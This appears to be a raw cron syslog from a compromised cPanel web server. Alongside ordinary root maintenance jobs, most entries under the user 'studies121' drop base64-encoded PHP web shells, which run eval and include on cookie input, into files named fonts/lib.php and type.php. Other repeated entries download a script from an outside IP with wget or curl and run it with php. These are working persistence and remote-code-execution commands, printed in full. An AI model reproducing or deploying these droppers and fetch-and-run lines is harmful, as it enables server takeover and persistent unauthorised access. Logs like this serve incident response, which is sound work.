Sep 20 11:17:01 ip-184-168-122-23 CROND[3818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:18:01 ip-184-168-122-23 CROND[4156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:18:01 ip-184-168-122-23 CROND[4159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:18:01 ip-184-168-122-23 CROND[4157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:18:01 ip-184-168-122-23 CROND[4160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:18:01 ip-184-168-122-23 CROND[4158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:19:01 ip-184-168-122-23 CROND[4427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:19:01 ip-184-168-122-23 CROND[4429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:19:01 ip-184-168-122-23 CROND[4431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:19:01 ip-184-168-122-23 CROND[4432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:20:01 ip-184-168-122-23 CROND[4685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4687]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4692]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:20:01 ip-184-168-122-23 CROND[4693]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 11:20:01 ip-184-168-122-23 CROND[4694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:21:01 ip-184-168-122-23 CROND[4967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:21:01 ip-184-168-122-23 CROND[4968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:21:01 ip-184-168-122-23 CROND[4971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:21:01 ip-184-168-122-23 CROND[4972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:22:01 ip-184-168-122-23 CROND[5214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:22:01 ip-184-168-122-23 CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:22:01 ip-184-168-122-23 CROND[5218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:22:01 ip-184-168-122-23 CROND[5217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:22:01 ip-184-168-122-23 CROND[5219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:23:01 ip-184-168-122-23 CROND[5474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:23:01 ip-184-168-122-23 CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:23:01 ip-184-168-122-23 CROND[5479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:23:01 ip-184-168-122-23 CROND[5477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:24:01 ip-184-168-122-23 CROND[5770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:24:01 ip-184-168-122-23 CROND[5773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:24:01 ip-184-168-122-23 CROND[5771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:24:01 ip-184-168-122-23 CROND[5775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:24:01 ip-184-168-122-23 CROND[5777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:25:01 ip-184-168-122-23 CROND[6137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:25:01 ip-184-168-122-23 CROND[6140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:25:01 ip-184-168-122-23 CROND[6141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:25:01 ip-184-168-122-23 CROND[6144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:25:01 ip-184-168-122-23 CROND[6143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:25:01 ip-184-168-122-23 CROND[6142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:26:01 ip-184-168-122-23 CROND[6398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:26:01 ip-184-168-122-23 CROND[6400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:26:01 ip-184-168-122-23 CROND[6401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:26:01 ip-184-168-122-23 CROND[6402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:26:01 ip-184-168-122-23 CROND[6404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:27:01 ip-184-168-122-23 CROND[6633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:27:01 ip-184-168-122-23 CROND[6635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:27:01 ip-184-168-122-23 CROND[6638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:27:01 ip-184-168-122-23 CROND[6637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:28:01 ip-184-168-122-23 CROND[6900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:28:01 ip-184-168-122-23 CROND[6904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:28:01 ip-184-168-122-23 CROND[6902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:28:01 ip-184-168-122-23 CROND[6905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:28:01 ip-184-168-122-23 CROND[6903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:29:01 ip-184-168-122-23 CROND[7134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:29:01 ip-184-168-122-23 CROND[7137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:29:01 ip-184-168-122-23 CROND[7136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:29:01 ip-184-168-122-23 CROND[7139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:30:01 ip-184-168-122-23 CROND[7379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
